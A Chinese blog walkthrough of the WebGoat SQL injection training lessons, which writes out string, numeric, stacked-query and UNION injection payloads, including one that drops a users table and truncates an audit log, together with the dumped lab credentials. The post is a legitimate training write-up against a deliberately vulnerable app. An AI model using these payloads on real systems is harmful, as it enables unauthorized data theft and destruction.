WebGoat SQL注入解题思路

WebGoat SQL注入解题思路

★ 启动 WebGoat

java -jar webgoat-server-8.0.0.M21.jar

★ 打开 WebGoat 网站

http://127.0.0.1:8080/WebGoat/
注意大小写。

★ 题目1:String SQL Injection

地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/6

题目中说,存在注入的SQL语句为:
"select * from users where LAST_NAME = '" + userName + "'";
这是一个字符串类型的SQL注入。

可选的的注入方式有:

  • **方式1:Smith' or '1'='1。**其实可以写任意字符串,而不必是Smith。
    拼起来的完整SQL语句为:select * from users where LAST_NAME = 'Smith' or '1'='1'

  • **方式2:' or 1=1 --。**干脆不给LAST_NAME设置有效值,并且通过--将SQL语句中的'注释掉。
    拼起来的完整SQL语句为:select * from users where LAST_NAME = '' or 1=1 --'--'是注释,所以SQL语法是没有问题的。

  • **方式3:Smith';drop table users; truncate audit_log;--。**这是堆叠的SQL语句,『堆叠』的英文叫做 『 stacked 』。如果是多条select语句,那么叫做堆叠查询(stacked queries)。
    这一条执行之后,表 users 就被删掉了。并且将 audit_log 表中的数据删掉(而不会触发triggers)。
    拼起来的完整SQL语句为:select * from users where LAST_NAME = 'Smith';drop table users; truncate audit_log;--'

  • **方式4:' or true --。**其实这种方式跟方式2是一样的。true本身也是有效的。但是,这里的true给人的意思是,你可以替换成任意复杂的SQL表达式,只要结果是true就可以了。这样可以增加对SQL注入的成功率。

★ 题目2: Numeric SQL Injection

地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/7

存在注入的SQL语句为: "select * from users where USERID = " + userID;
这是一个数字类型的SQL注入。

可选的注入方式有:

  • 方式1: 1 or 1=1。拼起来的完整SQL语句为:select * from users where USERID = 1 or 1=11 or 1=1里第一个数字1可以替换成任意数字。例如1111 or 1=1

  • 方式2:1234 or true。true是有效值。也可以将true替换为其他的SQL语句,只要SQL语句的结果为true就行。

★ 题目3:Pulling data from other tables

地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2

在这里插入图片描述

题目给出一个表的信息:

CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

而且题目要求找到Dave的密码。

★ 题目3 解题思路

首先,可以通过 ' or 1=1 --尝试一下。显示出查询到的数据:

You have succeed:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, 
101, Joe, Snow, 987654321, VISA, , 0, 
101, Joe, Snow, 2234200065411, MC, , 0, 
102, John, Smith, 2435600002222, MC, , 0, 
102, John, Smith, 4352209902222, AMEX, , 0, 
103, Jane, Plane, 123456789, MC, , 0, 
103, Jane, Plane, 333498703333, AMEX, , 0, 
10312, Jolly, Hershey, 176896789, MC, , 0, 
10312, Jolly, Hershey, 333300003333, AMEX, , 0, 
10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0, 
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0, 
15603, Peter, Sand, 123609789, MC, , 0, 
15603, Peter, Sand, 338893453333, AMEX, , 0, 
15613, Joesph, Something, 33843453533, AMEX, , 0, 
15837, Chaos, Monkey, 32849386533, CM, , 0, 
19204, Mr, Goat, 33812953533, VISA, , 0, 

显然,Dave的密码不在这里面。
返回的结果,给出了一些信息,比如列数是7,还有列的名字,以及可能的数据类型。

解法1: 采用堆叠查询的方式。

注入的数据为: '; select * from user_system_data --
得到的数据为:

You have succeed:
USERID, USER_NAME, PASSWORD, COOKIE, 
101, jsnow, passwd1, , 
102, jdoe, passwd2, , 
103, jplane, passwd3, , 
104, jeff, jeff, , 
105, dave, passW0rD, , 

可以看到dave的密码为 passW0rD 。
Congratulations!

♦ 解法2:采用 union 的方式

从上面已经知道,注入 ' or 1=1 --时,返回的数据是7列。而表 user_system_data 只有4列,所以需要将从user_system_data表中查到的数据补齐到7列。

7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列,为:
userid, user_name, password, null, null, cookie, null。

注入的数据为:' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --
得到的数据为:

You have succeed:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, 
101, Joe, Snow, 2234200065411, MC, , 0, 
101, Joe, Snow, 987654321, VISA, , 0, 
101, jsnow, passwd1, null, null, , null, 
102, John, Smith, 2435600002222, MC, , 0, 
102, John, Smith, 4352209902222, AMEX, , 0, 
102, jdoe, passwd2, null, null, , null, 
103, Jane, Plane, 123456789, MC, , 0, 
103, Jane, Plane, 333498703333, AMEX, , 0, 
103, jplane, passwd3, null, null, , null, 
104, jeff, jeff, null, null, , null, 
105, dave, passW0rD, null, null, , null, 
10312, Jolly, Hershey, 176896789, MC, , 0, 
10312, Jolly, Hershey, 333300003333, AMEX, , 0, 
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0, 
10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0, 
15603, Peter, Sand, 123609789, MC, , 0, 
15603, Peter, Sand, 338893453333, AMEX, , 0, 
15613, Joesph, Something, 33843453533, AMEX, , 0, 
15837, Chaos, Monkey, 32849386533, CM, , 0, 
19204, Mr, Goat, 33812953533, VISA, , 0, 

可以看到得到是上面2个表的数据之和(union)。

可以看到dave的密码为 passW0rD 。
Congratulations!

★ 参考

  1. WebGoat采用的数据库为HSQLDB,关于HSQLDB的官方文档: http://hsqldb.org/web/hsqlDocsFrame.html
  2. 关于 Truncate 的语法: http://hsqldb.org/doc/2.0/guide/dataaccess-chapt.html#dac_truncate_statement

相关系列文章:

WebGoat SQL注入之 Order by注入解题思路
WebGoat SQL注入解题思路
WebGoat SQL盲注 解题思路
WebGoat 8.0 XXE注入 解题思路

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值